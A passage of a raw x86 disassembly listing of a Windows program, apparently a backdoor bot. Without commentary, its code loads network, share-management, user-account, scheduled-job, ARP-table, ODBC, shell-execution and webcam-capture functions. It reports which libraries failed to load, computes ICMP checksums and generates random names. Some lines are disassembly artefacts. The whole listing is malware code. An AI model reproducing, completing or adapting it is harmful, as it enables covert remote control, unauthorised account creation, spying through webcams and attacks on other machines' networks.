		jz	short loc_40A2E7
		cmp	dword_4CAFBC, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF7C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFD0, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF8C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFCC, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB038, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF84, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF48, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFB8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB028, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF5C, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------


loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		call	near ptr 2670E77h
		nop
		mov	dword_4CB088, eax


loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB084, 1


loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CAEE0, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CAE68, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CAF6C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CAF18, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CAF78, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CAF3C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CAEA8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CAEA0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CAEB0, eax
		call	esi
		cmp	dword_4CAEE0, ebx
		mov	ecx, dword_4CAF3C
		mov	dword_4CAFD8, eax
		jz	short loc_40A3D2
		cmp	dword_4CAE68, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF6C, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF18, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF78, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEA8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEA0, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEB0, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC


loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB08C, 1


loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CAF54, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------


loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		call	near ptr 2670E77h
		nop
		mov	dword_4CB090, eax
		mov	dword_4CB08C, 1


loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CAF54, ebx


loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CAF2C, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB05C, eax
		call	esi
		cmp	dword_4CAF2C, ebx
		mov	dword_4CAEBC, eax
		jz	short loc_40A466
		cmp	dword_4CB05C, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------


loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		nop
		call	near ptr 2670E77h
		mov	dword_4CB098, eax


loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB094, 1


loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CAE98, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CAE70, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CAEE8, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CAF1C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB034, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CAED0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CAE7C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CAE6C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CAF04, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CAFFC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CAFB4, eax
		call	esi
		cmp	dword_4CAE98, ebx
		mov	dword_4CAED8, eax
		jz	short loc_40A582
		cmp	dword_4CAE70, ebx
		jz	short loc_40A582
		cmp	dword_4CAEE8, ebx
		jz	short loc_40A582
		cmp	dword_4CAF1C, ebx
		jz	short loc_40A582
		cmp	dword_4CB034, ebx
		jz	short loc_40A582
		cmp	dword_4CAED0, ebx
		jz	short loc_40A582
		cmp	dword_4CAE7C, ebx
		jz	short loc_40A582
		cmp	dword_4CAE6C, ebx
		jz	short loc_40A582
		cmp	dword_4CAF04, ebx
		jz	short loc_40A582
		cmp	dword_4CAFFC, ebx
		jz	short loc_40A582
		cmp	dword_4CAFB4, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------


loc_40A577:				; CODE XREF: sub_409B12+969j
		call	near ptr 2670E77h
		nop
		mov	dword_4CB0A0, eax


loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB09C, 1


loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CAEC0, eax
		call	esi
		cmp	dword_4CAEC0, ebx
		mov	dword_4CAF9C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------


loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		call	near ptr 2670E77h
		nop
		mov	dword_4CB0A8, eax


loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB0A4, 1


loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CB020, eax
		call	esi
		cmp	dword_4CB020, ebx
		mov	dword_4CB01C, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------


loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		call	near ptr 2670E77h
		nop
		mov	dword_4CB0B0, eax


loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB0AC, 1


loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB04C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB044, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CB00C, eax
		call	esi
		cmp	dword_4CB04C, ebx
		mov	dword_4CAEDC, eax
		jz	short loc_40A68A
		cmp	dword_4CB044, ebx
		jz	short loc_40A68A
		cmp	dword_4CB00C, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------


loc_40A67F:				; CODE XREF: sub_409B12+B19j
		call	near ptr 2670E77h
		nop
		mov	dword_4CB0B8, eax


loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB0B4, 1


loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CAF10, eax
		call	esi
		cmp	dword_4CAF10, ebx
		mov	dword_4CB018, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------


loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		nop
		call	near ptr 2670E77h
		mov	dword_4CB0C0, eax


loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB0BC, 1


loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CAFE0, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CB02C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CAF68, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CAF20, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CAFC0, eax
		call	esi
		cmp	dword_4CAFE0, ebx
		mov	dword_4CAF30, eax
		jz	short loc_40A772
		cmp	dword_4CB02C, ebx
		jz	short loc_40A772
		cmp	dword_4CAF68, ebx
		jz	short loc_40A772
		cmp	dword_4CAF20, ebx
		jz	short loc_40A772
		cmp	dword_4CAFC0, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_409B12+BD7j
		call	near ptr 2670E77h
		nop
		mov	dword_4CB0C8, eax


loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB0C4, 1


loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CAEF4, eax
		call	esi
		cmp	dword_4CAEF4, ebx
		mov	dword_4CAFD4, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------


loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		nop
		call	near ptr 2670E77h
		mov	dword_4CB0D0, eax


loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB0CC, 1


loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB064, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB068
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB06C, esi
		jz	short loc_40A84A
		push	dword_4CB070
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB074, esi
		jz	short loc_40A87E
		push	dword_4CB078
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB07C, esi
		jz	short loc_40A8B2
		push	dword_4CB080
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB084, esi
		jz	short loc_40A8E6
		push	dword_4CB088
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB08C, esi
		jz	short loc_40A91A
		push	dword_4CB090
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB094, esi
		jz	short loc_40A94E
		push	dword_4CB098
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB09C, esi
		jz	short loc_40A982
		push	dword_4CB0A0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB0A4, esi
		jz	short loc_40A9B6
		push	dword_4CB0A8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB0AC, esi
		jz	short loc_40A9EA
		push	dword_4CB0B0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB0B4, esi
		jz	short loc_40AA1E
		push	dword_4CB0B8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB0BC, esi
		jz	short loc_40AA52
		push	dword_4CB0C0
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB0C4, esi
		jz	short loc_40AA86
		push	dword_4CB0C8
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB0CC, esi
		jz	short loc_40AABA
		push	dword_4CB0D0
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D364
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CB028
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CAEC0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CB020
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A


loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D578
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------


loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42D554
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CB020
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------


loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42D524


loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42D4F4
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]


loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CB01C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF48
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB0D4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------


loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_42D5C0o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	near ptr 2680D52h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D628[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D


loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B494
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7


loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		db 90h
		db 0E8h, 28h, 60h
; ---------------------------------------------------------------------------
		daa
		add	dl, [eax-18h]
		test	al, 0Bh
		add	[eax], eax
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_42913C ; "-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD7B


loc_40AD55:				; CODE XREF: ___:0040AD79j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B494
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AD55


loc_40AD7B:				; CODE XREF: ___:0040AD53j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 2680D52h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3


loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD


loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
